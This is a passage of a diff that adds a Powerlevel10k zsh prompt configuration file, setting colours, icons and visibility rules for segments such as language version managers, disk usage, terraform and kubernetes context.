POWERLEVEL9K_ASDF_ELIXIR_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_ASDF_ELIXIR_SHOW_ON_UPGLOB='*.foo|*.bar' + + # Postgres version from asdf. + typeset -g POWERLEVEL9K_ASDF_POSTGRES_FOREGROUND=31 + # typeset -g POWERLEVEL9K_ASDF_POSTGRES_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_ASDF_POSTGRES_SHOW_ON_UPGLOB='*.foo|*.bar' + + # PHP version from asdf. + typeset -g POWERLEVEL9K_ASDF_PHP_FOREGROUND=99 + # typeset -g POWERLEVEL9K_ASDF_PHP_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_ASDF_PHP_SHOW_ON_UPGLOB='*.foo|*.bar' + + # Haskell version from asdf. + typeset -g POWERLEVEL9K_ASDF_HASKELL_FOREGROUND=172 + # typeset -g POWERLEVEL9K_ASDF_HASKELL_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_ASDF_HASKELL_SHOW_ON_UPGLOB='*.foo|*.bar' + + # Julia version from asdf. + typeset -g POWERLEVEL9K_ASDF_JULIA_FOREGROUND=70 + # typeset -g POWERLEVEL9K_ASDF_JULIA_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_ASDF_JULIA_SHOW_ON_UPGLOB='*.foo|*.bar' + + ##########[ nordvpn: nordvpn connection status, linux only (https://nordvpn.com/) ]########### + # NordVPN connection indicator color. + typeset -g POWERLEVEL9K_NORDVPN_FOREGROUND=39 + # Hide NordVPN connection indicator when not connected. + typeset -g POWERLEVEL9K_NORDVPN_{DISCONNECTED,CONNECTING,DISCONNECTING}_CONTENT_EXPANSION= + typeset -g POWERLEVEL9K_NORDVPN_{DISCONNECTED,CONNECTING,DISCONNECTING}_VISUAL_IDENTIFIER_EXPANSION= + # Custom icon. + # typeset -g POWERLEVEL9K_NORDVPN_VISUAL_IDENTIFIER_EXPANSION='⭐' + + #################[ ranger: ranger shell (https://github.com/ranger/ranger) ]################## + # Ranger shell color. + typeset -g POWERLEVEL9K_RANGER_FOREGROUND=178 + # Custom icon. + # typeset -g POWERLEVEL9K_RANGER_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ######################[ nnn: nnn shell (https://github.com/jarun/nnn) ]####################### + # Nnn shell color. + typeset -g POWERLEVEL9K_NNN_FOREGROUND=72 + # Custom icon. + # typeset -g POWERLEVEL9K_NNN_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ##################[ xplr: xplr shell (https://github.com/sayanarijit/xplr) ]################## + # xplr shell color. + typeset -g POWERLEVEL9K_XPLR_FOREGROUND=72 + # Custom icon. + # typeset -g POWERLEVEL9K_XPLR_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ###########################[ vim_shell: vim shell indicator (:sh) ]########################### + # Vim shell indicator color. + typeset -g POWERLEVEL9K_VIM_SHELL_FOREGROUND=34 + # Custom icon. + # typeset -g POWERLEVEL9K_VIM_SHELL_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ######[ midnight_commander: midnight commander shell (https://midnight-commander.org/) ]###### + # Midnight Commander shell color. + typeset -g POWERLEVEL9K_MIDNIGHT_COMMANDER_FOREGROUND=178 + # Custom icon. + # typeset -g POWERLEVEL9K_MIDNIGHT_COMMANDER_VISUAL_IDENTIFIER_EXPANSION='⭐' + + #[ nix_shell: nix shell (https://nixos.org/nixos/nix-pills/developing-with-nix-shell.html) ]## + # Nix shell color. + typeset -g POWERLEVEL9K_NIX_SHELL_FOREGROUND=74 + + # Tip: If you want to see just the icon without "pure" and "impure", uncomment the next line. + # typeset -g POWERLEVEL9K_NIX_SHELL_CONTENT_EXPANSION= + + # Custom icon. + # typeset -g POWERLEVEL9K_NIX_SHELL_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ##################################[ disk_usage: disk usage ]################################## + # Colors for different levels of disk usage. + typeset -g POWERLEVEL9K_DISK_USAGE_NORMAL_FOREGROUND=35 + typeset -g POWERLEVEL9K_DISK_USAGE_WARNING_FOREGROUND=220 + typeset -g POWERLEVEL9K_DISK_USAGE_CRITICAL_FOREGROUND=160 + # Thresholds for different levels of disk usage (percentage points). + typeset -g POWERLEVEL9K_DISK_USAGE_WARNING_LEVEL=90 + typeset -g POWERLEVEL9K_DISK_USAGE_CRITICAL_LEVEL=95 + # If set to true, hide disk usage when below $POWERLEVEL9K_DISK_USAGE_WARNING_LEVEL percent. + typeset -g POWERLEVEL9K_DISK_USAGE_ONLY_WARNING=false + # Custom icon. + # typeset -g POWERLEVEL9K_DISK_USAGE_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ###########[ vi_mode: vi mode (you don't need this if you've enabled prompt_char) ]########### + # Text and color for normal (a.k.a. command) vi mode. + typeset -g POWERLEVEL9K_VI_COMMAND_MODE_STRING=NORMAL + typeset -g POWERLEVEL9K_VI_MODE_NORMAL_FOREGROUND=106 + # Text and color for visual vi mode. + typeset -g POWERLEVEL9K_VI_VISUAL_MODE_STRING=VISUAL + typeset -g POWERLEVEL9K_VI_MODE_VISUAL_FOREGROUND=68 + # Text and color for overtype (a.k.a. overwrite and replace) vi mode. + typeset -g POWERLEVEL9K_VI_OVERWRITE_MODE_STRING=OVERTYPE + typeset -g POWERLEVEL9K_VI_MODE_OVERWRITE_FOREGROUND=172 + # Text and color for insert vi mode. + typeset -g POWERLEVEL9K_VI_INSERT_MODE_STRING= + typeset -g POWERLEVEL9K_VI_MODE_INSERT_FOREGROUND=66 + + # Custom icon. + # typeset -g POWERLEVEL9K_RANGER_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ######################################[ ram: free RAM ]####################################### + # RAM color. + typeset -g POWERLEVEL9K_RAM_FOREGROUND=66 + # Custom icon. + # typeset -g POWERLEVEL9K_RAM_VISUAL_IDENTIFIER_EXPANSION='⭐' + + #####################################[ swap: used swap ]###################################### + # Swap color. + typeset -g POWERLEVEL9K_SWAP_FOREGROUND=96 + # Custom icon. + # typeset -g POWERLEVEL9K_SWAP_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ######################################[ load: CPU load ]###################################### + # Show average CPU load over this many last minutes. Valid values are 1, 5 and 15. + typeset -g POWERLEVEL9K_LOAD_WHICH=5 + # Load color when load is under 50%. + typeset -g POWERLEVEL9K_LOAD_NORMAL_FOREGROUND=66 + # Load color when load is between 50% and 70%. + typeset -g POWERLEVEL9K_LOAD_WARNING_FOREGROUND=178 + # Load color when load is over 70%. + typeset -g POWERLEVEL9K_LOAD_CRITICAL_FOREGROUND=166 + # Custom icon. + # typeset -g POWERLEVEL9K_LOAD_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ################[ todo: todo items (https://github.com/todotxt/todo.txt-cli) ]################ + # Todo color. + typeset -g POWERLEVEL9K_TODO_FOREGROUND=110 + # Hide todo when the total number of tasks is zero. + typeset -g POWERLEVEL9K_TODO_HIDE_ZERO_TOTAL=true + # Hide todo when the number of tasks after filtering is zero. + typeset -g POWERLEVEL9K_TODO_HIDE_ZERO_FILTERED=false + + # Todo format. The following parameters are available within the expansion. + # + # - P9K_TODO_TOTAL_TASK_COUNT The total number of tasks. + # - P9K_TODO_FILTERED_TASK_COUNT The number of tasks after filtering. + # + # These variables correspond to the last line of the output of `todo.sh -p ls`: + # + # TODO: 24 of 42 tasks shown + # + # Here 24 is P9K_TODO_FILTERED_TASK_COUNT and 42 is P9K_TODO_TOTAL_TASK_COUNT. + # + # typeset -g POWERLEVEL9K_TODO_CONTENT_EXPANSION='$P9K_TODO_FILTERED_TASK_COUNT' + + # Custom icon. + # typeset -g POWERLEVEL9K_TODO_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ###########[ timewarrior: timewarrior tracking status (https://timewarrior.net/) ]############ + # Timewarrior color. + typeset -g POWERLEVEL9K_TIMEWARRIOR_FOREGROUND=110 + # If the tracked task is longer than 24 characters, truncate and append "…". + # Tip: To always display tasks without truncation, delete the following parameter. + # Tip: To hide task names and display just the icon when time tracking is enabled, set the + # value of the following parameter to "". + typeset -g POWERLEVEL9K_TIMEWARRIOR_CONTENT_EXPANSION='${P9K_CONTENT:0:24}${${P9K_CONTENT:24}:+…}' + + # Custom icon. + # typeset -g POWERLEVEL9K_TIMEWARRIOR_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ##############[ taskwarrior: taskwarrior task count (https://taskwarrior.org/) ]############## + # Taskwarrior color. + typeset -g POWERLEVEL9K_TASKWARRIOR_FOREGROUND=74 + + # Taskwarrior segment format. The following parameters are available within the expansion. + # + # - P9K_TASKWARRIOR_PENDING_COUNT The number of pending tasks: `task +PENDING count`. + # - P9K_TASKWARRIOR_OVERDUE_COUNT The number of overdue tasks: `task +OVERDUE count`. + # + # Zero values are represented as empty parameters. + # + # The default format: + # + # '${P9K_TASKWARRIOR_OVERDUE_COUNT:+"!$P9K_TASKWARRIOR_OVERDUE_COUNT/"}$P9K_TASKWARRIOR_PENDING_COUNT' + # + # typeset -g POWERLEVEL9K_TASKWARRIOR_CONTENT_EXPANSION='$P9K_TASKWARRIOR_PENDING_COUNT' + + # Custom icon. + # typeset -g POWERLEVEL9K_TASKWARRIOR_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ##################################[ context: user@hostname ]################################## + # Context color when running with privileges. + typeset -g POWERLEVEL9K_CONTEXT_ROOT_FOREGROUND=178 + # Context color in SSH without privileges. + typeset -g POWERLEVEL9K_CONTEXT_{REMOTE,REMOTE_SUDO}_FOREGROUND=180 + # Default context color (no privileges, no SSH). + typeset -g POWERLEVEL9K_CONTEXT_FOREGROUND=180 + + # Context format when running with privileges: bold user@hostname. + typeset -g POWERLEVEL9K_CONTEXT_ROOT_TEMPLATE='ﮊ' + # Context format when in SSH without privileges: user@hostname. + typeset -g POWERLEVEL9K_CONTEXT_{REMOTE,REMOTE_SUDO}_TEMPLATE='%n@%m' + # Default context format (no privileges, no SSH): user@hostname. + typeset -g POWERLEVEL9K_CONTEXT_TEMPLATE='ﮊ' + + # Don't show context unless running with privileges or in SSH. + # Tip: Remove the next line to always show context. + typeset -g POWERLEVEL9K_CONTEXT_{DEFAULT,SUDO}_{CONTENT,VISUAL_IDENTIFIER}_EXPANSION= + + # Custom icon. + # typeset -g POWERLEVEL9K_CONTEXT_VISUAL_IDENTIFIER_EXPANSION='⭐' + # Custom prefix. + # typeset -g POWERLEVEL9K_CONTEXT_PREFIX='%246Fwith ' + + ###[ virtualenv: python virtual environment (https://docs.python.org/3/library/venv.html) ]### + # Python virtual environment color. + typeset -g POWERLEVEL9K_VIRTUALENV_FOREGROUND=37 + # Don't show Python version next to the virtual environment name. + typeset -g POWERLEVEL9K_VIRTUALENV_SHOW_PYTHON_VERSION=false + # If set to "false", won't show virtualenv if pyenv is already shown. + # If set to "if-different", won't show virtualenv if it's the same as pyenv. + typeset -g POWERLEVEL9K_VIRTUALENV_SHOW_WITH_PYENV=false + # Separate environment name from Python version only with a space. + typeset -g POWERLEVEL9K_VIRTUALENV_{LEFT,RIGHT}_DELIMITER= + # Custom icon. + # typeset -g POWERLEVEL9K_VIRTUALENV_VISUAL_IDENTIFIER_EXPANSION='⭐' + + #####################[ anaconda: conda environment (https://conda.io/) ]###################### + # Anaconda environment color. + typeset -g POWERLEVEL9K_ANACONDA_FOREGROUND=37 + + # Anaconda segment format. The following parameters are available within the expansion. + # + # - CONDA_PREFIX Absolute path to the active Anaconda/Miniconda environment. + # - CONDA_DEFAULT_ENV Name of the active Anaconda/Miniconda environment. + # - CONDA_PROMPT_MODIFIER Configurable prompt modifier (see below). + # - P9K_ANACONDA_PYTHON_VERSION Current python version (python --version). + # + # CONDA_PROMPT_MODIFIER can be configured with the following command: + # + # conda config --set env_prompt '({default_env}) ' + # + # The last argument is a Python format string that can use the following variables: + # + # - prefix The same as CONDA_PREFIX. + # - default_env The same as CONDA_DEFAULT_ENV. + # - name The last segment of CONDA_PREFIX. + # - stacked_env Comma-separated list of names in the environment stack. The first element is + # always the same as default_env. + # + # Note: '({default_env}) ' is the default value of env_prompt. + # + # The default value of POWERLEVEL9K_ANACONDA_CONTENT_EXPANSION expands to $CONDA_PROMPT_MODIFIER + # without the surrounding parentheses, or to the last path component of CONDA_PREFIX if the former + # is empty. + typeset -g POWERLEVEL9K_ANACONDA_CONTENT_EXPANSION='${${${${CONDA_PROMPT_MODIFIER#\(}% }%\)}:-${CONDA_PREFIX:t}}' + + # Custom icon. + # typeset -g POWERLEVEL9K_ANACONDA_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ################[ pyenv: python environment (https://github.com/pyenv/pyenv) ]################ + # Pyenv color. + typeset -g POWERLEVEL9K_PYENV_FOREGROUND=37 + # Hide python version if it doesn't come from one of these sources. + typeset -g POWERLEVEL9K_PYENV_SOURCES=(shell local global) + # If set to false, hide python version if it's the same as global: + # $(pyenv version-name) == $(pyenv global). + typeset -g POWERLEVEL9K_PYENV_PROMPT_ALWAYS_SHOW=false + # If set to false, hide python version if it's equal to "system". + typeset -g POWERLEVEL9K_PYENV_SHOW_SYSTEM=true + + # Pyenv segment format. The following parameters are available within the expansion. + # + # - P9K_CONTENT Current pyenv environment (pyenv version-name). + # - P9K_PYENV_PYTHON_VERSION Current python version (python --version). + # + # The default format has the following logic: + # + # 1. Display just "$P9K_CONTENT" if it's equal to "$P9K_PYENV_PYTHON_VERSION" or + # starts with "$P9K_PYENV_PYTHON_VERSION/". + # 2. Otherwise display "$P9K_CONTENT $P9K_PYENV_PYTHON_VERSION". + typeset -g POWERLEVEL9K_PYENV_CONTENT_EXPANSION='${P9K_CONTENT}${${P9K_CONTENT:#$P9K_PYENV_PYTHON_VERSION(|/*)}:+ $P9K_PYENV_PYTHON_VERSION}' + + # Custom icon. + # typeset -g POWERLEVEL9K_PYENV_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ################[ goenv: go environment (https://github.com/syndbg/goenv) ]################ + # Goenv color. + typeset -g POWERLEVEL9K_GOENV_FOREGROUND=37 + # Hide go version if it doesn't come from one of these sources. + typeset -g POWERLEVEL9K_GOENV_SOURCES=(shell local global) + # If set to false, hide go version if it's the same as global: + # $(goenv version-name) == $(goenv global). + typeset -g POWERLEVEL9K_GOENV_PROMPT_ALWAYS_SHOW=false + # If set to false, hide go version if it's equal to "system". + typeset -g POWERLEVEL9K_GOENV_SHOW_SYSTEM=true + # Custom icon. + # typeset -g POWERLEVEL9K_GOENV_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ##########[ nodenv: node.js version from nodenv (https://github.com/nodenv/nodenv) ]########## + # Nodenv color. + typeset -g POWERLEVEL9K_NODENV_FOREGROUND=70 + # Hide node version if it doesn't come from one of these sources. + typeset -g POWERLEVEL9K_NODENV_SOURCES=(shell local global) + # If set to false, hide node version if it's the same as global: + # $(nodenv version-name) == $(nodenv global). + typeset -g POWERLEVEL9K_NODENV_PROMPT_ALWAYS_SHOW=false + # If set to false, hide node version if it's equal to "system". + typeset -g POWERLEVEL9K_NODENV_SHOW_SYSTEM=true + # Custom icon. + # typeset -g POWERLEVEL9K_NODENV_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ##############[ nvm: node.js version from nvm (https://github.com/nvm-sh/nvm) ]############### + # Nvm color. + typeset -g POWERLEVEL9K_NVM_FOREGROUND=70 + # Custom icon. + # typeset -g POWERLEVEL9K_NVM_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ############[ nodeenv: node.js environment (https://github.com/ekalinin/nodeenv) ]############ + # Nodeenv color. + typeset -g POWERLEVEL9K_NODEENV_FOREGROUND=70 + # Don't show Node version next to the environment name. + typeset -g POWERLEVEL9K_NODEENV_SHOW_NODE_VERSION=false + # Separate environment name from Node version only with a space. + typeset -g POWERLEVEL9K_NODEENV_{LEFT,RIGHT}_DELIMITER= + # Custom icon. + # typeset -g POWERLEVEL9K_NODEENV_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ##############################[ node_version: node.js version ]############################### + # Node version color. + typeset -g POWERLEVEL9K_NODE_VERSION_FOREGROUND=70 + # Show node version only when in a directory tree containing package.json. + typeset -g POWERLEVEL9K_NODE_VERSION_PROJECT_ONLY=true + # Custom icon. + # typeset -g POWERLEVEL9K_NODE_VERSION_VISUAL_IDENTIFIER_EXPANSION='⭐' + + #######################[ go_version: go version (https://golang.org) ]######################## + # Go version color. + typeset -g POWERLEVEL9K_GO_VERSION_FOREGROUND=37 + # Show go version only when in a go project subdirectory. + typeset -g POWERLEVEL9K_GO_VERSION_PROJECT_ONLY=true + # Custom icon. + # typeset -g POWERLEVEL9K_GO_VERSION_VISUAL_IDENTIFIER_EXPANSION='⭐' + + #################[ rust_version: rustc version (https://www.rust-lang.org) ]################## + # Rust version color. + typeset -g POWERLEVEL9K_RUST_VERSION_FOREGROUND=37 + # Show rust version only when in a rust project subdirectory. + typeset -g POWERLEVEL9K_RUST_VERSION_PROJECT_ONLY=true + # Custom icon. + # typeset -g POWERLEVEL9K_RUST_VERSION_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ###############[ dotnet_version: .NET version (https://dotnet.microsoft.com) ]################ + # .NET version color. + typeset -g POWERLEVEL9K_DOTNET_VERSION_FOREGROUND=134 + # Show .NET version only when in a .NET project subdirectory. + typeset -g POWERLEVEL9K_DOTNET_VERSION_PROJECT_ONLY=true + # Custom icon. + # typeset -g POWERLEVEL9K_DOTNET_VERSION_VISUAL_IDENTIFIER_EXPANSION='⭐' + + #####################[ php_version: php version (https://www.php.net/) ]###################### + # PHP version color. + typeset -g POWERLEVEL9K_PHP_VERSION_FOREGROUND=99 + # Show PHP version only when in a PHP project subdirectory. + typeset -g POWERLEVEL9K_PHP_VERSION_PROJECT_ONLY=true + # Custom icon. + # typeset -g POWERLEVEL9K_PHP_VERSION_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ##########[ laravel_version: laravel php framework version (https://laravel.com/) ]########### + # Laravel version color. + typeset -g POWERLEVEL9K_LARAVEL_VERSION_FOREGROUND=161 + # Custom icon. + # typeset -g POWERLEVEL9K_LARAVEL_VERSION_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ####################[ java_version: java version (https://www.java.com/) ]#################### + # Java version color. + typeset -g POWERLEVEL9K_JAVA_VERSION_FOREGROUND=32 + # Show java version only when in a java project subdirectory. + typeset -g POWERLEVEL9K_JAVA_VERSION_PROJECT_ONLY=true + # Show brief version. + typeset -g POWERLEVEL9K_JAVA_VERSION_FULL=false + # Custom icon. + # typeset -g POWERLEVEL9K_JAVA_VERSION_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ###[ package: name@version from package.json (https://docs.npmjs.com/files/package.json) ]#### + # Package color. + typeset -g POWERLEVEL9K_PACKAGE_FOREGROUND=117 + # Package format. The following parameters are available within the expansion. + # + # - P9K_PACKAGE_NAME The value of `name` field in package.json. + # - P9K_PACKAGE_VERSION The value of `version` field in package.json. + # + # typeset -g POWERLEVEL9K_PACKAGE_CONTENT_EXPANSION='${P9K_PACKAGE_NAME//\%/%%}@${P9K_PACKAGE_VERSION//\%/%%}' + # Custom icon. + # typeset -g POWERLEVEL9K_PACKAGE_VISUAL_IDENTIFIER_EXPANSION='⭐' + + #############[ rbenv: ruby version from rbenv (https://github.com/rbenv/rbenv) ]############## + # Rbenv color. + typeset -g POWERLEVEL9K_RBENV_FOREGROUND=168 + # Hide ruby version if it doesn't come from one of these sources. + typeset -g POWERLEVEL9K_RBENV_SOURCES=(shell local global) + # If set to false, hide ruby version if it's the same as global: + # $(rbenv version-name) == $(rbenv global). + typeset -g POWERLEVEL9K_RBENV_PROMPT_ALWAYS_SHOW=false + # If set to false, hide ruby version if it's equal to "system". + typeset -g POWERLEVEL9K_RBENV_SHOW_SYSTEM=true + # Custom icon. + # typeset -g POWERLEVEL9K_RBENV_VISUAL_IDENTIFIER_EXPANSION='⭐' + + #######################[ rvm: ruby version from rvm (https://rvm.io) ]######################## + # Rvm color. + typeset -g POWERLEVEL9K_RVM_FOREGROUND=168 + # Don't show @gemset at the end. + typeset -g POWERLEVEL9K_RVM_SHOW_GEMSET=false + # Don't show ruby- at the front. + typeset -g POWERLEVEL9K_RVM_SHOW_PREFIX=false + # Custom icon. + # typeset -g POWERLEVEL9K_RVM_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ###########[ fvm: flutter version management (https://github.com/leoafarias/fvm) ]############ + # Fvm color. + typeset -g POWERLEVEL9K_FVM_FOREGROUND=38 + # Custom icon. + # typeset -g POWERLEVEL9K_FVM_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ##########[ luaenv: lua version from luaenv (https://github.com/cehoffman/luaenv) ]########### + # Lua color. + typeset -g POWERLEVEL9K_LUAENV_FOREGROUND=32 + # Hide lua version if it doesn't come from one of these sources. + typeset -g POWERLEVEL9K_LUAENV_SOURCES=(shell local global) + # If set to false, hide lua version if it's the same as global: + # $(luaenv version-name) == $(luaenv global). + typeset -g POWERLEVEL9K_LUAENV_PROMPT_ALWAYS_SHOW=false + # If set to false, hide lua version if it's equal to "system". + typeset -g POWERLEVEL9K_LUAENV_SHOW_SYSTEM=true + # Custom icon. + # typeset -g POWERLEVEL9K_LUAENV_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ###############[ jenv: java version from jenv (https://github.com/jenv/jenv) ]################ + # Java color. + typeset -g POWERLEVEL9K_JENV_FOREGROUND=32 + # Hide java version if it doesn't come from one of these sources. + typeset -g POWERLEVEL9K_JENV_SOURCES=(shell local global) + # If set to false, hide java version if it's the same as global: + # $(jenv version-name) == $(jenv global). + typeset -g POWERLEVEL9K_JENV_PROMPT_ALWAYS_SHOW=false + # If set to false, hide java version if it's equal to "system". + typeset -g POWERLEVEL9K_JENV_SHOW_SYSTEM=true + # Custom icon. + # typeset -g POWERLEVEL9K_JENV_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ###########[ plenv: perl version from plenv (https://github.com/tokuhirom/plenv) ]############ + # Perl color. + typeset -g POWERLEVEL9K_PLENV_FOREGROUND=67 + # Hide perl version if it doesn't come from one of these sources. + typeset -g POWERLEVEL9K_PLENV_SOURCES=(shell local global) + # If set to false, hide perl version if it's the same as global: + # $(plenv version-name) == $(plenv global). + typeset -g POWERLEVEL9K_PLENV_PROMPT_ALWAYS_SHOW=false + # If set to false, hide perl version if it's equal to "system". + typeset -g POWERLEVEL9K_PLENV_SHOW_SYSTEM=true + # Custom icon. + # typeset -g POWERLEVEL9K_PLENV_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ###########[ perlbrew: perl version from perlbrew (https://github.com/gugod/App-perlbrew) ]############ + # Perlbrew color. + typeset -g POWERLEVEL9K_PERLBREW_FOREGROUND=67 + # Show perlbrew version only when in a perl project subdirectory. + typeset -g POWERLEVEL9K_PERLBREW_PROJECT_ONLY=true + # Don't show "perl-" at the front. + typeset -g POWERLEVEL9K_PERLBREW_SHOW_PREFIX=false + # Custom icon. + # typeset -g POWERLEVEL9K_PERLBREW_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ############[ phpenv: php version from phpenv (https://github.com/phpenv/phpenv) ]############ + # PHP color. + typeset -g POWERLEVEL9K_PHPENV_FOREGROUND=99 + # Hide php version if it doesn't come from one of these sources. + typeset -g POWERLEVEL9K_PHPENV_SOURCES=(shell local global) + # If set to false, hide php version if it's the same as global: + # $(phpenv version-name) == $(phpenv global). + typeset -g POWERLEVEL9K_PHPENV_PROMPT_ALWAYS_SHOW=false + # If set to false, hide php version if it's equal to "system". + typeset -g POWERLEVEL9K_PHPENV_SHOW_SYSTEM=true + # Custom icon. + # typeset -g POWERLEVEL9K_PHPENV_VISUAL_IDENTIFIER_EXPANSION='⭐' + + #######[ scalaenv: scala version from scalaenv (https://github.com/scalaenv/scalaenv) ]####### + # Scala color. + typeset -g POWERLEVEL9K_SCALAENV_FOREGROUND=160 + # Hide scala version if it doesn't come from one of these sources. + typeset -g POWERLEVEL9K_SCALAENV_SOURCES=(shell local global) + # If set to false, hide scala version if it's the same as global: + # $(scalaenv version-name) == $(scalaenv global). + typeset -g POWERLEVEL9K_SCALAENV_PROMPT_ALWAYS_SHOW=false + # If set to false, hide scala version if it's equal to "system". + typeset -g POWERLEVEL9K_SCALAENV_SHOW_SYSTEM=true + # Custom icon. + # typeset -g POWERLEVEL9K_SCALAENV_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ##########[ haskell_stack: haskell version from stack (https://haskellstack.org/) ]########### + # Haskell color. + typeset -g POWERLEVEL9K_HASKELL_STACK_FOREGROUND=172 + # Hide haskell version if it doesn't come from one of these sources. + # + # shell: version is set by STACK_YAML + # local: version is set by stack.yaml up the directory tree + # global: version is set by the implicit global project (~/.stack/global-project/stack.yaml) + typeset -g POWERLEVEL9K_HASKELL_STACK_SOURCES=(shell local) + # If set to false, hide haskell version if it's the same as in the implicit global project. + typeset -g POWERLEVEL9K_HASKELL_STACK_ALWAYS_SHOW=true + # Custom icon. + # typeset -g POWERLEVEL9K_HASKELL_STACK_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ################[ terraform: terraform workspace (https://www.terraform.io) ]################# + # Don't show terraform workspace if it's literally "default". + typeset -g POWERLEVEL9K_TERRAFORM_SHOW_DEFAULT=false + # POWERLEVEL9K_TERRAFORM_CLASSES is an array with even number of elements. The first element + # in each pair defines a pattern against which the current terraform workspace gets matched. + # More specifically, it's P9K_CONTENT prior to the application of context expansion (see below) + # that gets matched. If you unset all POWERLEVEL9K_TERRAFORM_*CONTENT_EXPANSION parameters, + # you'll see this value in your prompt. The second element of each pair in + # POWERLEVEL9K_TERRAFORM_CLASSES defines the workspace class. Patterns are tried in order. The + # first match wins. + # + # For example, given these settings: + # + # typeset -g POWERLEVEL9K_TERRAFORM_CLASSES=( + # '*prod*' PROD + # '*test*' TEST + # '*' OTHER) + # + # If your current terraform workspace is "project_test", its class is TEST because "project_test" + # doesn't match the pattern '*prod*' but does match '*test*'. + # + # You can define different colors, icons and content expansions for different classes: + # + # typeset -g POWERLEVEL9K_TERRAFORM_TEST_FOREGROUND=28 + # typeset -g POWERLEVEL9K_TERRAFORM_TEST_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_TERRAFORM_TEST_CONTENT_EXPANSION='> ${P9K_CONTENT} <' + typeset -g POWERLEVEL9K_TERRAFORM_CLASSES=( + # '*prod*' PROD # These values are examples that are unlikely + # '*test*' TEST # to match your needs. Customize them as needed. + '*' OTHER) + typeset -g POWERLEVEL9K_TERRAFORM_OTHER_FOREGROUND=38 + # typeset -g POWERLEVEL9K_TERRAFORM_OTHER_VISUAL_IDENTIFIER_EXPANSION='⭐' + + #############[ terraform_version: terraform version (https://www.terraform.io) ]############## + # Terraform version color. + typeset -g POWERLEVEL9K_TERRAFORM_VERSION_FOREGROUND=38 + # Custom icon. + # typeset -g POWERLEVEL9K_TERRAFORM_VERSION_VISUAL_IDENTIFIER_EXPANSION='⭐' + + #############[ kubecontext: current kubernetes context (https://kubernetes.io/) ]############# + # Show kubecontext only when the command you are typing invokes one of these tools. + # Tip: Remove the next line to always show kubecontext. + typeset -g POWERLEVEL9K_KUBECONTEXT_SHOW_ON_COMMAND='kubectl|helm|kubens|kubectx|oc|istioctl|kogito|k9s|helmfile|flux|fluxctl|stern' + + # Kubernetes context classes for the purpose of using different colors, icons and expansions with + # different contexts. + # + # POWERLEVEL9K_KUBECONTEXT_CLASSES is an array with even number of elements. The first element + # in each pair defines a pattern against which the current kubernetes context gets matched. + # More specifically, it's P9K_CONTENT prior to the application of context expansion (see below) + # that gets matched. If you unset all POWERLEVEL9K_KUBECONTEXT_*CONTENT_EXPANSION parameters, + # you'll see this value in your prompt. The second element of each pair in + # POWERLEVEL9K_KUBECONTEXT_CLASSES defines the context class. Patterns are tried in order. The + # first match wins. + # + # For example, given these settings: + # + # typeset -g POWERLEVEL9K_KUBECONTEXT_CLASSES=( + # '*prod*' PROD + # '*test*' TEST + # '*' DEFAULT) + # + # If your current kubernetes context is "deathray-testing/default", its class is TEST + # because "deathray-testing/default" doesn't match the pattern '*prod*' but does match '*test*'. + # + # You can define different colors, icons and content expansions for different classes: + # + # typeset -g POWERLEVEL9K_KUBECONTEXT_TEST_FOREGROUND=28 + # typeset -g POWERLEVEL9K_KUBECONTEXT_TEST_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_KUBECONTEXT_TEST_CONTENT_EXPANSION='> ${P9K_CONTENT} <' + typeset -g POWERLEVEL9K_KUBECONTEXT_CLASSES=( + # '*prod*' PROD # These values are examples that are unlikely + # '*test*' TEST # to match your needs. Customize them as needed. + '*' DEFAULT) + typeset -g POWERLEVEL9K_KUBECONTEXT_DEFAULT_FOREGROUND=134 + # typeset -g POWERLEVEL9K_KUBECONTEXT_DEFAULT_VISUAL_IDENTIFIER_EXPANSION='⭐' + + # Use POWERLEVEL9K_KUBECONTEXT_CONTENT_EXPANSION to specify the content displayed by kubecontext + # segment. Parameter expansions are very flexible and fast, too. See reference: + # http://zsh.sourceforge.net/Doc/Release/Expansion.html#Parameter-Expansion. + # + # Within the expansion the following parameters are always available: + # + # - P9K_CONTENT The content that would've been displayed if there was no content + # expansion defined. + # - P9K_KUBECONTEXT_NAME The current context's name. Corresponds to column NAME in the + # output of `kubectl config get-contexts`. + # - P9K_KUBECONTEXT_CLUSTER The current context's cluster. Corresponds to column CLUSTER in the + # output of `kubectl config get-contexts`. + # - P9K_KUBECONTEXT_NAMESPACE The current context's namespace. Corresponds to column NAMESPACE + # in the output of `kubectl config get-contexts`. If there is no + # namespace, the parameter is set to "default". + # - P9K_KUBECONTEXT_USER The current context's user. Corresponds to column AUTHINFO in the + # output of `kubectl 